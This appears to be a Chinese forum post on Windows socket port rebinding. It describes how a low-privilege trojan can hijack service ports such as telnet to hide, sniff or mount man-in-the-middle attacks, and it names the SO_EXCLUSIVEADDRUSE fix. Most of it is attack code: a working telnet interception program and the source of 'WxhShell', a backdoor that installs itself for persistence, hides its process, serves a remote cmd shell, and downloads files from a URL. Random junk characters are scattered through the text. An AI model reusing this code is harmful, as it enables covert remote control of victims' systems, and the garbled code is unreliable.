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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d
(x'\4(K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]T|$nwQ fMUh\u3 saddr.sin_family = AF_INET; #"~\/sb
G u_\ySV/y saddr.sin_addr.s_addr = htonl(INADDR_ANY); @k)J
i!7 P7zUf bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6M`gy|"(~ Dq<DW2It> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?H,f|nc vf@j d}? 这意味着什么?意味着可以进行如下的攻击: o?m1 />}zB![(K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DnJ `]r _q1\8y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G1w$lc X<. l(9$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vt3*~Beb mjg@c|rTG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]UEA"^ %qo.n v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1\UU" CJCxL\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6;:D!},'c .%7Le|Fb" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YkMFU'?[ 0Fon`3(^\ #include :L+xEL #include Rc{R^5B #include a%U#PF6
#include 6,jCO@!
DWORD WINAPI ClientThread(LPVOID lpParam); 1eV&oN# int main() gJuK% P { ?B;7J7 T WORD wVersionRequested; Q|{b8K DWORD ret; m:`M&Xs& WSADATA wsaData; [jlum>K BOOL val; %X.g+uu SOCKADDR_IN saddr; {wA8!5Gu SOCKADDR_IN scaddr; w0Nm.=I- int err; ,D*bLXWh SOCKET s; <yX u! SOCKET sc; [^ r8P:Ad int caddsize;
PKntz7 HANDLE mt; [pp|*@1T DWORD tid; Y DHP-0? wVersionRequested = MAKEWORD( 2, 2 ); (pv}>1 err = WSAStartup( wVersionRequested, &wsaData ); '" %0UflJS if ( err != 0 ) { f 42F@M(: printf("error!WSAStartup failed!\n"); ~7KH/%Z- return -1; wG7>2*( } =v::N\& saddr.sin_family = AF_INET; .TdFI"Yn ezL1,GT //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7]1a3Jk !*~QB4\2b saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F1_,V?
saddr.sin_port = htons(23); i.W*Go+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gl`J( { W!\%v" printf("error!socket failed!\n"); kiN,N]-V return -1; Spx%`O< } j7Y7&x" val = TRUE; v!ai_d^ //SO_REUSEADDR选项就是可以实现端口重绑定的 fU
;H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %JiF269 { CP;<B1 printf("error!setsockopt failed!\n"); WHv6E!^\_ return -1; @{fwM;me]P } #[x*0K-h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0{B<A^Bf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G8__6v~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SE' |||B i}C%8}% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Rrry;Hr { ^?(#%~NS ret=GetLastError(); }za pN
v printf("error!bind failed!\n"); [sk n9$ return -1; ;a@riPqx! } >lqo73gM9 listen(s,2); [kN_b<Pc, while(1) 8'zl\:@N { O/Hj-u6&A caddsize = sizeof(scaddr); NkNFx<9T //接受连接请求 z\UXnRL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p6BDhT(RS if(sc!=INVALID_SOCKET) xFThs,w { i ?M-~EKu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tKe-Dk9 if(mt==NULL) 9)S3{i6w { 286reeN/e printf("Thread Creat Failed!\n"); <+q`Dk break; B[7,Hy,R } {.e+?V2>_ } '/\*l< CloseHandle(mt); '&,p>aM } oxeu%wj_ closesocket(s); #&r}J WSACleanup(); `@1e{?$ return 0; u8>aO>(bVg } MbInXv$q2/ DWORD WINAPI ClientThread(LPVOID lpParam) ]9w8[T:O { %{ rb,6 SOCKET ss = (SOCKET)lpParam; zGz}.-F SOCKET sc; wN%lc3[/z2 unsigned char buf[4096]; (G./P@/[ SOCKADDR_IN saddr; 6S{F4v2/0 long num; Uvc$&j^k DWORD val; t}Td$K7 DWORD ret; z?Z"*z //如果是隐藏端口应用的话,可以在此处加一些判断 d(^HO~p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6A.%)whI; saddr.sin_family = AF_INET; %vZHHBylu saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \*{Mg wF saddr.sin_port = htons(23); Ths~8{dMb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BGj!/E { T_UJ?W printf("error!socket failed!\n"); pi#a!Quf\ return -1; u0=&_Q(= } R6Md_t\ val = 100; Vrlqje_Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tw
zV-8\ { RR+kjK? ret = GetLastError(); P/WGB~NH return -1; @uV]7d"z( } M1NdlAAf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6[R6P:v&'G { 4<PupJ ret = GetLastError(); pRE^;
4}z return -1; ^`SEmYb; } }s'=w]m if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GLZ*5kw { y*sVimx printf("error!socket connect failed!\n"); pnp8`\cIH closesocket(sc); C_q2bI closesocket(ss); oO3^9?Z return -1; svxjad@l/
} ge?0>UU;~ while(1) }|;j2'(R { CFW Hih //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (b[=~Nh' //如果是嗅探内容的话,可以再此处进行内容分析和记录 owA8hGF //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C<9GdN num = recv(ss,buf,4096,0); +p jB/#4 if(num>0) Rm)hgmZ send(sc,buf,num,0); /!t:MK; else if(num==0) DxN\ H" break; $iy!:Did num = recv(sc,buf,4096,0); y1}2hT0, if(num>0) +IbV send(ss,buf,num,0); o(?9vU else if(num==0) 8mdVh\i!Kf break; h/:LC 7 } 9yTDuhJ6 closesocket(ss); Ho*B<#&(A| closesocket(sc); -Q<OSa=' return 0 ; @@\px66 } HRbv% <<gW`KF
XHKLl?- ========================================================== V"K.s2U^ `DSFaBj, 下边附上一个代码,,WXhSHELL |unvDXx- ,/V~T<FI ========================================================== pnx^a}|px tQT<1Q02i #include "stdafx.h" baTd;`Pn lg
)xQV #include <stdio.h> tzgaHN #include <string.h> %rlqq* #include <windows.h> SQU@JKi;g #include <winsock2.h> 8q6Le{G #include <winsvc.h> $\]Mvd #include <urlmon.h> $39TP@?:Z) m;xa}b{(i #pragma comment (lib, "Ws2_32.lib") v)|a}5={ #pragma comment (lib, "urlmon.lib") h\Y~sm?!` T1Z*>(M #define MAX_USER 100 // 最大客户端连接数 OKau3T] #define BUF_SOCK 200 // sock buffer Y^d#8^cP #define KEY_BUFF 255 // 输入 buffer +.^pAz U}R 4)}>dxv #define REBOOT 0 // 重启 l]t^MEoc8 #define SHUTDOWN 1 // 关机 l'2vo=IQ FGc#_4SiL #define DEF_PORT 5000 // 监听端口 `S?_=JIX !h}Vz #define REG_LEN 16 // 注册表键长度 @~7au9.V=X #define SVC_LEN 80 // NT服务名长度 @Ss W v;?W|kJ.u // 从dll定义API uhaHY`w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ywt9^M|z; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -%>Tjo@Bn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qSD`S1'2; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? ][/hL@[ 8
ks\-38n1 // wxhshell配置信息 n[i:$! , struct WSCFG { [GK##z'5 int ws_port; // 监听端口 ,d.5K*?aI char ws_passstr[REG_LEN]; // 口令 W:w SM* int ws_autoins; // 安装标记, 1=yes 0=no k+i0@G'C( char ws_regname[REG_LEN]; // 注册表键名 m8b-\^eP7 char ws_svcname[REG_LEN]; // 服务名 OaoHN& " char ws_svcdisp[SVC_LEN]; // 服务显示名 *Ev8f11i& char ws_svcdesc[SVC_LEN]; // 服务描述信息 $JBb]
v8_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b"td]H3h int ws_downexe; // 下载执行标记, 1=yes 0=no pV:44 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" fh1-]$z`~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %Y#W#G q`z1ht
nf }; fU%Mz\t $5\sV4 8f // default Wxhshell configuration ~K|ha26W struct WSCFG wscfg={DEF_PORT, bYhG`1,$-a "xuhuanlingzhe", gth_Sz5!# 1, zt|1tU: "Wxhshell", =\i%,YY "Wxhshell", #1}%=nAsi "WxhShell Service", @'hkU$N) "Wrsky Windows CmdShell Service", apM)$ "Please Input Your Password: ", E/1:4?1 S 1, +m~3InWq " http://www.wrsky.com/wxhshell.exe", 3FO-9H "Wxhshell.exe" EUgKJ=jw }; Dcs O~mg #-"C_~-MH // 消息定义模块 Edcv>}PfE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |?f~T"|> char *msg_ws_prompt="\n\r? for help\n\r#>"; T(cpU,Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %7\l+g, char *msg_ws_ext="\n\rExit."; v-!Spf char *msg_ws_end="\n\rQuit."; <+%y char *msg_ws_boot="\n\rReboot..."; 1`Bhis9X8 char *msg_ws_poff="\n\rShutdown..."; }+u<w{-7/ char *msg_ws_down="\n\rSave to "; D6yE/QeK4 :y{@=E=XSC char *msg_ws_err="\n\rErr!"; ] ONmWo77o char *msg_ws_ok="\n\rOK!"; md\Vw?PkU D=5%lL char ExeFile[MAX_PATH]; Gw6!cp|/ int nUser = 0; w'xPKO$bzR HANDLE handles[MAX_USER]; 1guiuR4 int OsIsNt; ]D2d=\ fv*
$=m SERVICE_STATUS serviceStatus; p>T SERVICE_STATUS_HANDLE hServiceStatusHandle; *|L;&XM&/ dIQ3snG // 函数声明 w; f LnEz_ int Install(void); *'{9(Oj int Uninstall(void); zY4y]k8D* int DownloadFile(char *sURL, SOCKET wsh); &wkbr2P int Boot(int flag); _a`/{M| void HideProc(void); }^n"t>Z8 int GetOsVer(void); 'XYjo&w int Wxhshell(SOCKET wsl); )7E7K%:b, void TalkWithClient(void *cs); (CYQ>)a int CmdShell(SOCKET sock); Vm I
Afe int StartFromService(void); ?4W6TSW-' int StartWxhshell(LPSTR lpCmdLine); 3Dj>U*fP mv/Nz? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cvtn,Ml6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7s0y.i~ AuB BSk8($ // 数据结构和表定义 00Ye
]j_ SERVICE_TABLE_ENTRY DispatchTable[] = !0KNA1w, { =C)2DW J1 {wscfg.ws_svcname, NTServiceMain}, e>uq/|.! {NULL, NULL} tjne[p }; ojIGfQV "%rU1/@# // 自我安装 J~ z00p`E int Install(void) ~qA\u5sB9@ { o6:]Hvqjr char svExeFile[MAX_PATH]; IFF1wfC
HKEY key; /}d)g4\j strcpy(svExeFile,ExeFile); fLkC| h}oV)z6 // 如果是win9x系统,修改注册表设为自启动 %;GRR (K if(!OsIsNt) { #Qu|9Q[QH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +ul.P)1J6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u*7>0o|H: RegCloseKey(key); VZk;{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6\QsK96_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B6!ni@$M8X RegCloseKey(key); `Q>qmf_Fi return 0; h4~VzCR4x\ } 5F 8'f) } I]91{dq } iVM% ]\ else { )Tn(!. M=5hp&= // 如果是NT以上系统,安装为系统服务 gm: xtN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "Z-YZ>2 if (schSCManager!=0) axkNy}ct { -e+im(2D= SC_HANDLE schService = CreateService {]7lh#M ( 7;sF0oB5e schSCManager, ^|cax|> wscfg.ws_svcname, 4%SA%]a L1 wscfg.ws_svcdisp, }$3pS:_N~ SERVICE_ALL_ACCESS, 2(9~G|C. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 07,&weQ SERVICE_AUTO_START, "haJwV6- SERVICE_ERROR_NORMAL, O<?.iF% svExeFile, 7VfPS5se NULL, U\"FYTC NULL, =MmAnjo NULL, jhka;m NULL, FaG&U NULL <M,=(p{ ); FeZGPxc~ if (schService!=0) gJOD+~ { |q\Rvt$d CloseServiceHandle(schService); yV)9KGV+: CloseServiceHandle(schSCManager); 1#vi]CX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !~}@Eoii4 strcat(svExeFile,wscfg.ws_svcname); [XNDYaF8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t"&qaG{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _xo;[rEw8 RegCloseKey(key); 0T:U(5Y9 return 0; 5^{).fig } #\3X;{ } ev5m(wR CloseServiceHandle(schSCManager); 0(^N } N8{
8 a } )gxZ &n6 }};AV)}J return 1; G4n-}R&' } ebf/cCh IG8I<+< o // 自我卸载 !z+'mF?V+X int Uninstall(void) -&LF`V&3w { x0dBg~I HKEY key; .JWN\\ 6{[ uCxxl if(!OsIsNt) { KzZRFEA_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $< .wQ8:Q RegDeleteValue(key,wscfg.ws_regname); Mg\8m-L^ RegCloseKey(key); rJCu6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /+?eSgM/ RegDeleteValue(key,wscfg.ws_regname); kcl Z+E RegCloseKey(key); iGIry^D return 0; ?Pt*4NaT; } (ZD~Q_O- } ~Z;.np(T } p3cb_ else { 1Zgv+. %Lfy!]Ru SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yO J|t# if (schSCManager!=0) j=PM] { 6LzN#g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g_(O7 if (schService!=0) w+{ o^O { ,+'VQa"] if(DeleteService(schService)!=0) { "bvob G CloseServiceHandle(schService); kO v37c' CloseServiceHandle(schSCManager); +)*oPSQ5 return 0; o?wEX% }
"lBYn 2W CloseServiceHandle(schService); T$o;PJc } /9
|BAQ:v; CloseServiceHandle(schSCManager); <e$%m(] } 7vB6IF } vF'Y; M D'"l%p return 1; EnYEAjX } 3^Z@fC c/-PEsk_TP // 从指定url下载文件 O?qM=W int DownloadFile(char *sURL, SOCKET wsh) NPt3#k^bW { bMN]co HRESULT hr; 9_J'P2e char seps[]= "/"; d@+u&xrd char *token; X->` ~-aj char *file; C=P}@| K char myURL[MAX_PATH]; z_nY>_L83* char myFILE[MAX_PATH]; W,[iRmxn x UTlM strcpy(myURL,sURL); wI#R\v8(`n token=strtok(myURL,seps); x8RiYi+ while(token!=NULL) 7Q #A { $&.
rS.* file=token; c- "# token=strtok(NULL,seps); 4siq } 23P7%\ 3u1\zse GetCurrentDirectory(MAX_PATH,myFILE); @BI;H
V%k strcat(myFILE, "\\"); ~p\r( B7G strcat(myFILE, file); +Al*MusS send(wsh,myFILE,strlen(myFILE),0); y6 gaoj send(wsh,"...",3,0); z/f0.RJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L
[X"N if(hr==S_OK) kC/An@J^# return 0; RtF!(gd else MZdj!(hO return 1; 7J5Yzu)D } v3w- } o:lMRP~ 2 :&QBwr+; // 系统电源模块 [&:dPd1_ int Boot(int flag) c=4z+_ K { B8?j"AF HANDLE hToken; ~f?brQ? TOKEN_PRIVILEGES tkp; dIk9C|-. ZtX\E+mC if(OsIsNt) { Ksvk5r&y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O2oF\E_6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Twpk@2=l tkp.PrivilegeCount = 1; '$q3 Ze tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q
7hoI] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u Uh6/=y if(flag==REBOOT) { MUMB\K*$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F2dwT return 0; !>6`+$=U } Nq[-.}Z6 else { \N)!]jq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qDjH^f return 0; -hZw.eChQa } ->J5|c# } FQ]5W |e else { @4P_Yfn if(flag==REBOOT) { +D M,+{} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %=i/MFGX return 0; YG6Y5j[-X~ } j`_tb
else { <E7y:%L[Go if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~!'T!g%C return 0; F-2Q3+7$ } /D;cm } CiIIlE4 :<xf'. return 1; x=V3_HI/} } >*]B4Q ,-1d2y // win9x进程隐藏模块 M0woJt[& void HideProc(void) q`HK4~i, { $QaEU="Z
S
vW{1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8FQNeQr if ( hKernel != NULL ) 0D}k ^W { .zvvk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J&;' gT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5
$.az FreeLibrary(hKernel); tCQf ` } |i- S}M L+0O=zJF return; {hx=6"@ } pB,l t6 +(oExp(! // 获取操作系统版本 &}VVr int GetOsVer(void) ,/UuXX { q5>!.v
OSVERSIONINFO winfo; [`bA,)y" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AnQUdU GetVersionEx(&winfo); -9$.&D| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \|$GB U return 1; Qe]aI7Ei else (_eM:H=e> return 0; ^1X
6DH` } gA&`vnNP s h}eKwh // 客户端句柄模块 D^A#C<Gs int Wxhshell(SOCKET wsl) C40W@*6S2 { &M2fcw? SOCKET wsh; G[Jz(/yNH struct sockaddr_in client; TGI`}# DWORD myID; Y2(,E e2 ;et(Yi;9 while(nUser<MAX_USER) /mnV$+BE { M3H^s_ int nSize=sizeof(client); r\m2Oo)] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !GtCOr\' if(wsh==INVALID_SOCKET) return 1; 6jz~q~I &a";jO
GB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `5Em : 8 M if(handles[nUser]==0) ]!cLFXa closesocket(wsh); MG74,D.f else T@Th? nUser++; BU=Ta$#BZ } u$+nl~p[& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q$~_'I7~Mz ?wMS[Kj return 0; )7a
4yTg!~ } mlbSs_LT^ "Fqrk>Q~ // 关闭 socket G_6!w// void CloseIt(SOCKET wsh) #=I5_u { u7bji>j closesocket(wsh); nLnzl nUser--; kl#)0yqN0 ExitThread(0); oNRp } &p.7SPQ8/ )Z63 cr/ // 客户端请求句柄 T0K*!j}O void TalkWithClient(void *cs) p.!p6ve){ { ivPX_#QI _6C,w`[[6 SOCKET wsh=(SOCKET)cs; 4m6%HV8{}[ char pwd[SVC_LEN]; '
y_2" char cmd[KEY_BUFF]; =v~$&@ char chr[1]; @<44wMp int i,j; Z^GXKOeq h($Jo while (nUser < MAX_USER) { DO
,7vMO tDNo; f if(wscfg.ws_passstr) { (0zYS_mA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l# |M.V6G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &F|Wk,y //ZeroMemory(pwd,KEY_BUFF); qQCds}<w i=0; gBo~NLrf while(i<SVC_LEN) { @jD#Tn-* }Z% j=c"d // 设置超时 wW0m}L fd_set FdRead; >TS=tK struct timeval TimeOut; |=EwZmj-c FD_ZERO(&FdRead); <"!'>ZUt FD_SET(wsh,&FdRead); P;p;o] TimeOut.tv_sec=8; sW!MV v TimeOut.tv_usec=0; j4Y] 8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qX*Xo[Xp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;Dc\[r o^<W3Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fG|+! pwd =chr[0]; PsI{y&. if(chr[0]==0xd || chr[0]==0xa) { wbh^ZMQ pwd=0; seNH/pRb break; qF4DX$$< } _H$Z}2g<z i++; ~D!Y]
SK } 8iN@n8O ,pVq/1 // 如果是非法用户,关闭 socket +fG~m:E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T$s )aM } anFl:= qgsw8O& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n]bxG8~t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ct}rj-L<i UQCond+K while(1) { *AA78G| fDZnC Fa ZeroMemory(cmd,KEY_BUFF); fh@/fd q??N, // 自动支持客户端 telnet标准
Ox+}JB
[ j=0; ( ALsc@K while(j<KEY_BUFF) { d$v{oC} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8:}$L)[V cmd[j]=chr[0];
3vF-SgCV if(chr[0]==0xa || chr[0]==0xd) {
h]?[}& cmd[j]=0; ((tWgSZ3 break; X$ 76#x } )LE#SGJP j++; ~,reS:9RZ } {aWfD XB1 ~Ec@hz]js // 下载文件 tq5o if(strstr(cmd,"http://")) { Aq{7WA send(wsh,msg_ws_down,strlen(msg_ws_down),0); a: [m; if(DownloadFile(cmd,wsh)) ceNJXK send(wsh,msg_ws_err,strlen(msg_ws_err),0); <^B!.zQ else LZrkFkiC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (JeRJ4 } 5fud:k else { 8^"P'XQ *wK7qS~VB2 switch(cmd[0]) { o1@.
<Q+} }7/Ob)O // 帮助 vX"jL case '?': { v$bR&bCT send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T
eBJ break; S3_QOL } u^&,~n@n7 // 安装 4L[-[{2 case 'i': { _CXXgF[OCA if(Install()) btIh%OM send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'CdVDmX else R86:1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [LHfH3[gU break; %~YQlN } 9/LJtM // 卸载 g;<_GL case 'r': { J|[`8 *8 if(Uninstall()) Ov8{ny send(wsh,msg_ws_err,strlen(msg_ws_err),0); px.]m- else aFwfF^\(|, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fO$~jxR. break; cLCzLNyKl } *saO~.-;4 // 显示 wxhshell 所在路径 qVmG"et'J case 'p': { iC\t@BVS char svExeFile[MAX_PATH]; )ia$pes strcpy(svExeFile,"\n\r"); d#wK strcat(svExeFile,ExeFile); 8sxH)"S send(wsh,svExeFile,strlen(svExeFile),0); ?u /i8 break; vxx7aPjC } 'C|yUsBC // 重启 a+{95"4 case 'b': { K>fY9`Whm send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O{`r.H1', if(Boot(REBOOT)) OPwO`pN send(wsh,msg_ws_err,strlen(msg_ws_err),0); *`.4M)Ym~ else { LjA>H>8%[ closesocket(wsh); h; sdm/ ExitThread(0); 7q,M2v; } ~`x<;Ts break; t=oTU,< } LuIs4&[EW // 关机 \m;"KyP+ case 'd': { xT1{O ` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p&ml$N9fd if(Boot(SHUTDOWN)) v_Y'o
_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j=,]b6( else { nH]F$'rtA closesocket(wsh); )x*pkE**c ExitThread(0); _fQBXG2 } iv62Fs' break; &`4v,l^Zi6 } k,nRC~Irh // 获取shell K# dV. case 's': { 0q
^dpM CmdShell(wsh); +R?d6IjH closesocket(wsh); -KG3_k E ExitThread(0); )51H\o break; xkzC+ _A } b bO1`b- // 退出 N/fH% AtM case 'x': { |k^ * send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4?{e?5) CloseIt(wsh); 7T3ub3\ break; +#! !
'XP } 5=--+8[ bV // 离开 lj!f\C}d case 'q': { ;{Kx$Yt+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); i%)Nn^a;T closesocket(wsh); ?5L.]Isa5 WSACleanup(); [1*3 kt*h exit(1); Fv6<Cz6L break; JH0L^p } W} U-u{Z } W+0VrH
0F } e-#!3j!' 7}<057Xn' // 提示信息 s$ 2@ |; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *r k!`n& } Sy<s/x^` } 4W''j[Y/ ,,>b=r_r& return; V5{^R+_)Ya } 8Dq;QH} 0FV?By // shell模块句柄 LGm>x int CmdShell(SOCKET sock) \VX~'pkrd/ { &m6x*i-5\f STARTUPINFO si; 75V?K ZeroMemory(&si,sizeof(si)); >9.xFiq< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fscAG\>8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~D)!zQkD PROCESS_INFORMATION ProcessInfo; $3Ct@}=n char cmdline[]="cmd"; I(dMiL CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bNG;`VZ% return 0; ~agzp`!M } ^{T3lQvt )c#m<_^
// 自身启动模式 ]jz%])SzH int StartFromService(void) [1Yx#t { -PSI^%TR# typedef struct w8Mi:;6 { m b\}F9 DWORD ExitStatus; zW_V)UNe DWORD PebBaseAddress; /i]!=~\qFs DWORD AffinityMask; VzR(OB DWORD BasePriority; o0p%j4vac ULONG UniqueProcessId; t1)b26; ULONG InheritedFromUniqueProcessId; :_q } PROCESS_BASIC_INFORMATION; GP5Y5) pCQB<6&1N PROCNTQSIP NtQueryInformationProcess; =x4:jas bV#U&)| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "3*Chc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XK
(y ?Y1 l0 H,TT~2 HANDLE hProcess; 3 G?^/nB PROCESS_BASIC_INFORMATION pbi; pH%cbBm Ab<4F7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -k
